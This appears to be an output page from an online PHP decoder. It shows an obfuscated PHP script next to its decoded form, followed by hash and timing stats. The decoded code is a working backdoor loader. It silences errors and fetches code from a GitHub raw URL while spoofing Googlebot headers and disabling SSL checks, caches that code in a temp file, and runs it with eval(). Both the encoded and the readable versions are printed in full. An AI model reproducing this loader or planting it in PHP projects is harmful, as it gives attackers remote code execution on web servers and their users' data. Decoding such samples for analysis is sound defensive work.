Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
?php ${"G\x4c\x4fB\x41\x4c\x53"}["\x62_\x67p\x79\x70\x71\x63\x6a\x77g\x6cp\x6bc\x69\x6c\x7..
Decoded Output download
<? ?php ${"GLOBALS"}["b_gpypqcjwglpkciltep_m_awkppjkxjtjaptj_y"]="lgshgf59";${"GLOBALS"}["nmn_a_tlawvaghum_nr__j"]="ck3rty78";${"GLOBALS"}["w_ytcsuzwlwcdlrxbtramoxwlzoyih"]="sys_temp_dir";${"GLOBALS"}["qmynoqwazrohuhls_idpzlsi"]="gc5thj72";${"GLOBALS"}["nhxmyjp_v_qz__bdnhcaqsqcfe"]="c89fgdkf";${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]="s8fhg2j";${"GLOBALS"}["flcu_c_c_gnveigroiomvf"]="opts3gj";${"GLOBALS"}["zgi_kfyxg_m_rkcpkyaqt"]="context1";${"GLOBALS"}["e_zlzrnlthrmqgjgn_bzgozrdelfzefttjvzadd"]="fgle55j8";error_reporting(0);set_time_limit(0);${${"GLOBALS"}["b_gpypqcjwglpkciltep_m_awkppjkxjtjaptj_y"]}=true;${${"GLOBALS"}["nmn_a_tlawvaghum_nr__j"]}=true;${${"GLOBALS"}["w_ytcsuzwlwcdlrxbtramoxwlzoyih"]}=sys_get_temp_dir();if(file_exists(${${"GLOBALS"}["w_ytcsuzwlwcdlrxbtramoxwlzoyih"]}."/write_work.log")==true){${${"GLOBALS"}["qmynoqwazrohuhls_idpzlsi"]}=file_get_contents(${${"GLOBALS"}["w_ytcsuzwlwcdlrxbtramoxwlzoyih"]}."/write_work.log");if((strpos(${${"GLOBALS"}["qmynoqwazrohuhls_idpzlsi"]},'confirm:start of editor file')!==false)&&(strpos(${${"GLOBALS"}["qmynoqwazrohuhls_idpzlsi"]},'confirm:start of editor file')!==false)){${${"GLOBALS"}["nhxmyjp_v_qz__bdnhcaqsqcfe"]}=${${"GLOBALS"}["qmynoqwazrohuhls_idpzlsi"]};}else{${${"GLOBALS"}["b_gpypqcjwglpkciltep_m_awkppjkxjtjaptj_y"]}=false;}}else{${${"GLOBALS"}["b_gpypqcjwglpkciltep_m_awkppjkxjtjaptj_y"]}=false;}if(${${"GLOBALS"}["b_gpypqcjwglpkciltep_m_awkppjkxjtjaptj_y"]}==false){if(function_exists('curl_init')){${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]}=curl_init();curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_URL,'https://raw.githubusercontent.com/transshell/lineshell/main/alf.txt');curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36');curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_REFERER,"http://www.google.com");curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_HTTPHEADER,array('X-FORWARDED-FOR:66.249.72.240','CLIENT-IP:66.249.72.240'));curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_HTTPHEADER,array('Expect:'));curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_ENCODING,"");curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_SSL_VERIFYPEER,false);curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_CONNECTTIMEOUT,20);curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_TIMEOUT,20);curl_setopt(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]},CURLOPT_COOKIE,'foo=bar');${${"GLOBALS"}["nhxmyjp_v_qz__bdnhcaqsqcfe"]}=curl_exec(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]});curl_close(${${"GLOBALS"}["cxexnsoqblnalajesp_edgyxctjqxsznll"]});}else{${${"GLOBALS"}["flcu_c_c_gnveigroiomvf"]}=array('http'=>array('method'=>"GET",'timeout'=>20,'header'=>"Accept-language: en
"."Cookie: foo=bar
"."User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10"),"ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false,));${${"GLOBALS"}["zgi_kfyxg_m_rkcpkyaqt"]}=stream_context_create(${${"GLOBALS"}["flcu_c_c_gnveigroiomvf"]});${${"GLOBALS"}["nhxmyjp_v_qz__bdnhcaqsqcfe"]}=file_get_contents('https://raw.githubusercontent.com/transshell/lineshell/main/alf.txt',false,${${"GLOBALS"}["zgi_kfyxg_m_rkcpkyaqt"]});}file_put_contents(${${"GLOBALS"}["w_ytcsuzwlwcdlrxbtramoxwlzoyih"]}."/write_work.log",${${"GLOBALS"}["nhxmyjp_v_qz__bdnhcaqsqcfe"]});}${${"GLOBALS"}["e_zlzrnlthrmqgjgn_bzgozrdelfzefttjvzadd"]}=dirname(__FILE__);file_put_contents(${${"GLOBALS"}["w_ytcsuzwlwcdlrxbtramoxwlzoyih"]}."/write_check_class.txt",${${"GLOBALS"}["e_zlzrnlthrmqgjgn_bzgozrdelfzefttjvzadd"]}.":::every check class");eval(${${"GLOBALS"}["nhxmyjp_v_qz__bdnhcaqsqcfe"]}); ?>
Did this file decode correctly?
Original Code
?php ${"G\x4c\x4fB\x41\x4c\x53"}["\x62_\x67p\x79\x70\x71\x63\x6a\x77g\x6cp\x6bc\x69\x6c\x74\x65p\x5fm\x5fa\x77\x6bp\x70\x6a\x6bx\x6at\x6a\x61\x70t\x6a_\x79"]="l\x67\x73h\x67f\x359";${"G\x4cO\x42A\x4c\x53"}["n\x6dn\x5f\x61_\x74l\x61w\x76\x61\x67h\x75\x6d_\x6e\x72_\x5fj"]="\x63k\x33r\x74y\x378";${"\x47L\x4fB\x41\x4c\x53"}["\x77\x5fy\x74\x63s\x75\x7aw\x6c\x77c\x64l\x72x\x62t\x72a\x6do\x78\x77l\x7a\x6fy\x69h"]="s\x79s\x5ft\x65m\x70\x5f\x64\x69r";${"\x47L\x4fB\x41\x4cS"}["\x71\x6d\x79\x6e\x6f\x71\x77a\x7ar\x6f\x68\x75\x68l\x73\x5f\x69\x64\x70\x7al\x73\x69"]="g\x635\x74h\x6a7\x32";${"\x47L\x4fB\x41L\x53"}["\x6eh\x78m\x79j\x70\x5f\x76_\x71z\x5f\x5f\x62\x64n\x68c\x61\x71\x73q\x63\x66e"]="c\x38\x39f\x67\x64k\x66";${"G\x4c\x4f\x42\x41L\x53"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]="\x73\x38f\x68g\x32\x6a";${"G\x4cO\x42A\x4cS"}["f\x6cc\x75_\x63_\x63\x5f\x67n\x76\x65i\x67r\x6f\x69o\x6dv\x66"]="\x6fp\x74\x733\x67j";${"\x47L\x4fB\x41\x4cS"}["z\x67i\x5f\x6b\x66y\x78\x67_\x6d\x5f\x72k\x63\x70k\x79\x61q\x74"]="c\x6fn\x74e\x78t\x31";${"G\x4c\x4f\x42A\x4c\x53"}["e\x5f\x7al\x7a\x72n\x6c\x74h\x72\x6dq\x67\x6a\x67n\x5fb\x7ag\x6fz\x72d\x65\x6cf\x7a\x65\x66t\x74j\x76z\x61\x64d"]="f\x67l\x65\x35\x35\x6a\x38";error_reporting(0);set_time_limit(0);${${"\x47L\x4f\x42A\x4cS"}["\x62_\x67p\x79\x70\x71\x63\x6a\x77g\x6cp\x6bc\x69\x6c\x74\x65p\x5fm\x5fa\x77\x6bp\x70\x6a\x6bx\x6at\x6a\x61\x70t\x6a_\x79"]}=true;${${"\x47L\x4f\x42A\x4cS"}["n\x6dn\x5f\x61_\x74l\x61w\x76\x61\x67h\x75\x6d_\x6e\x72_\x5fj"]}=true;${${"G\x4c\x4f\x42A\x4c\x53"}["\x77\x5fy\x74\x63s\x75\x7aw\x6c\x77c\x64l\x72x\x62t\x72a\x6do\x78\x77l\x7a\x6fy\x69h"]}=sys_get_temp_dir();if(file_exists(${${"G\x4cO\x42\x41L\x53"}["\x77\x5fy\x74\x63s\x75\x7aw\x6c\x77c\x64l\x72x\x62t\x72a\x6do\x78\x77l\x7a\x6fy\x69h"]}."/\x77\x72i\x74\x65\x5fw\x6f\x72k\x2el\x6fg")==true){${${"G\x4c\x4fB\x41\x4cS"}["\x71\x6d\x79\x6e\x6f\x71\x77a\x7ar\x6f\x68\x75\x68l\x73\x5f\x69\x64\x70\x7al\x73\x69"]}=file_get_contents(${${"G\x4c\x4fB\x41\x4cS"}["\x77\x5fy\x74\x63s\x75\x7aw\x6c\x77c\x64l\x72x\x62t\x72a\x6do\x78\x77l\x7a\x6fy\x69h"]}."/\x77r\x69t\x65\x5fw\x6fr\x6b.\x6c\x6fg");if((strpos(${${"\x47L\x4fB\x41\x4cS"}["\x71\x6d\x79\x6e\x6f\x71\x77a\x7ar\x6f\x68\x75\x68l\x73\x5f\x69\x64\x70\x7al\x73\x69"]},'confirm:start of editor file')!==false)&&(strpos(${${"G\x4c\x4fB\x41\x4cS"}["\x71\x6d\x79\x6e\x6f\x71\x77a\x7ar\x6f\x68\x75\x68l\x73\x5f\x69\x64\x70\x7al\x73\x69"]},'confirm:start of editor file')!==false)){${${"G\x4c\x4fB\x41\x4c\x53"}["\x6eh\x78m\x79j\x70\x5f\x76_\x71z\x5f\x5f\x62\x64n\x68c\x61\x71\x73q\x63\x66e"]}=${${"G\x4cO\x42\x41L\x53"}["\x71\x6d\x79\x6e\x6f\x71\x77a\x7ar\x6f\x68\x75\x68l\x73\x5f\x69\x64\x70\x7al\x73\x69"]};}else{${${"G\x4cO\x42A\x4cS"}["\x62_\x67p\x79\x70\x71\x63\x6a\x77g\x6cp\x6bc\x69\x6c\x74\x65p\x5fm\x5fa\x77\x6bp\x70\x6a\x6bx\x6at\x6a\x61\x70t\x6a_\x79"]}=false;}}else{${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62_\x67p\x79\x70\x71\x63\x6a\x77g\x6cp\x6bc\x69\x6c\x74\x65p\x5fm\x5fa\x77\x6bp\x70\x6a\x6bx\x6at\x6a\x61\x70t\x6a_\x79"]}=false;}if(${${"G\x4cO\x42\x41\x4c\x53"}["\x62_\x67p\x79\x70\x71\x63\x6a\x77g\x6cp\x6bc\x69\x6c\x74\x65p\x5fm\x5fa\x77\x6bp\x70\x6a\x6bx\x6at\x6a\x61\x70t\x6a_\x79"]}==false){if(function_exists('curl_init')){${${"G\x4cO\x42A\x4cS"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]}=curl_init();curl_setopt(${${"G\x4cO\x42A\x4cS"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_URL,'https://raw.githubusercontent.com/transshell/lineshell/main/alf.txt');curl_setopt(${${"G\x4c\x4fB\x41\x4c\x53"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"\x47\x4c\x4fB\x41L\x53"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36');curl_setopt(${${"G\x4cO\x42\x41L\x53"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_REFERER,"http://www.google.com");curl_setopt(${${"\x47L\x4fB\x41\x4cS"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_HTTPHEADER,array('X-FORWARDED-FOR:66.249.72.240','CLIENT-IP:66.249.72.240'));curl_setopt(${${"\x47\x4cO\x42A\x4cS"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_HTTPHEADER,array('Expect:'));curl_setopt(${${"G\x4cO\x42A\x4c\x53"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_ENCODING,"");curl_setopt(${${"G\x4cO\x42A\x4cS"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_SSL_VERIFYPEER,false);curl_setopt(${${"\x47\x4c\x4fB\x41L\x53"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_CONNECTTIMEOUT,20);curl_setopt(${${"\x47\x4cO\x42\x41L\x53"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_TIMEOUT,20);curl_setopt(${${"\x47\x4c\x4f\x42A\x4cS"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]},CURLOPT_COOKIE,'foo=bar');${${"G\x4c\x4fB\x41\x4c\x53"}["\x6eh\x78m\x79j\x70\x5f\x76_\x71z\x5f\x5f\x62\x64n\x68c\x61\x71\x73q\x63\x66e"]}=curl_exec(${${"\x47L\x4fB\x41L\x53"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]});curl_close(${${"G\x4c\x4fB\x41\x4c\x53"}["c\x78\x65\x78n\x73o\x71b\x6c\x6ea\x6ca\x6a\x65\x73\x70_\x65\x64g\x79\x78\x63t\x6aq\x78s\x7an\x6cl"]});}else{${${"G\x4cO\x42\x41L\x53"}["f\x6cc\x75_\x63_\x63\x5f\x67n\x76\x65i\x67r\x6f\x69o\x6dv\x66"]}=array('http'=>array('method'=>"GET",'timeout'=>20,'header'=>"Accept-language: en\r\n"."\x43\x6fo\x6b\x69e\x3a\x20f\x6fo\x3db\x61r\r\n"."U\x73e\x72-\x41g\x65n\x74:\x20M\x6f\x7ai\x6c\x6c\x61\x2f\x35\x2e0\x20\x28i\x50\x61\x64;\x20U\x3b\x20\x43\x50U\x20O\x53 \x33_\x32 \x6ci\x6be\x20\x4da\x63 \x4f\x53 \x58;\x20e\x6e\x2d\x75\x73)\x20A\x70p\x6ce\x57\x65\x62\x4b\x69\x74/\x353\x31\x2e\x321\x2e1\x30 \x28\x4bH\x54\x4d\x4c,\x20l\x69k\x65\x20G\x65\x63k\x6f\x29 \x56e\x72\x73\x69o\x6e\x2f4\x2e0\x2e\x34 \x4do\x62i\x6ce\x2f7\x423\x33\x34b\x20S\x61\x66a\x72i\x2f\x353\x31\x2e\x321\x2e\x310"),"ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false,));${${"G\x4c\x4f\x42A\x4cS"}["z\x67i\x5f\x6b\x66y\x78\x67_\x6d\x5f\x72k\x63\x70k\x79\x61q\x74"]}=stream_context_create(${${"G\x4cO\x42A\x4cS"}["f\x6cc\x75_\x63_\x63\x5f\x67n\x76\x65i\x67r\x6f\x69o\x6dv\x66"]});${${"G\x4cO\x42A\x4c\x53"}["\x6eh\x78m\x79j\x70\x5f\x76_\x71z\x5f\x5f\x62\x64n\x68c\x61\x71\x73q\x63\x66e"]}=file_get_contents('https://raw.githubusercontent.com/transshell/lineshell/main/alf.txt',false,${${"G\x4cO\x42A\x4cS"}["z\x67i\x5f\x6b\x66y\x78\x67_\x6d\x5f\x72k\x63\x70k\x79\x61q\x74"]});}file_put_contents(${${"G\x4cO\x42A\x4c\x53"}["\x77\x5fy\x74\x63s\x75\x7aw\x6c\x77c\x64l\x72x\x62t\x72a\x6do\x78\x77l\x7a\x6fy\x69h"]}."/\x77\x72i\x74\x65\x5fw\x6fr\x6b.\x6c\x6f\x67",${${"G\x4cO\x42A\x4cS"}["\x6eh\x78m\x79j\x70\x5f\x76_\x71z\x5f\x5f\x62\x64n\x68c\x61\x71\x73q\x63\x66e"]});}${${"\x47L\x4f\x42A\x4c\x53"}["e\x5f\x7al\x7a\x72n\x6c\x74h\x72\x6dq\x67\x6a\x67n\x5fb\x7ag\x6fz\x72d\x65\x6cf\x7a\x65\x66t\x74j\x76z\x61\x64d"]}=dirname(__FILE__);file_put_contents(${${"\x47\x4c\x4fB\x41L\x53"}["\x77\x5fy\x74\x63s\x75\x7aw\x6c\x77c\x64l\x72x\x62t\x72a\x6do\x78\x77l\x7a\x6fy\x69h"]}."\x2f\x77\x72\x69\x74e\x5fc\x68\x65c\x6b\x5fc\x6c\x61s\x73.\x74\x78t",${${"\x47\x4cO\x42A\x4cS"}["e\x5f\x7al\x7a\x72n\x6c\x74h\x72\x6dq\x67\x6a\x67n\x5fb\x7ag\x6fz\x72d\x65\x6cf\x7a\x65\x66t\x74j\x76z\x61\x64d"]}."\x3a:\x3a\x65v\x65r\x79\x20c\x68\x65\x63k\x20\x63\x6c\x61s\x73");eval(${${"G\x4cO\x42\x41L\x53"}["\x6eh\x78m\x79j\x70\x5f\x76_\x71z\x5f\x5f\x62\x64n\x68c\x61\x71\x73q\x63\x66e"]}); ?>
Function Calls
None |
Stats
MD5 | 79a88763c021d99d2d58352148156991 |
Eval Count | 0 |
Decode Time | 67 ms |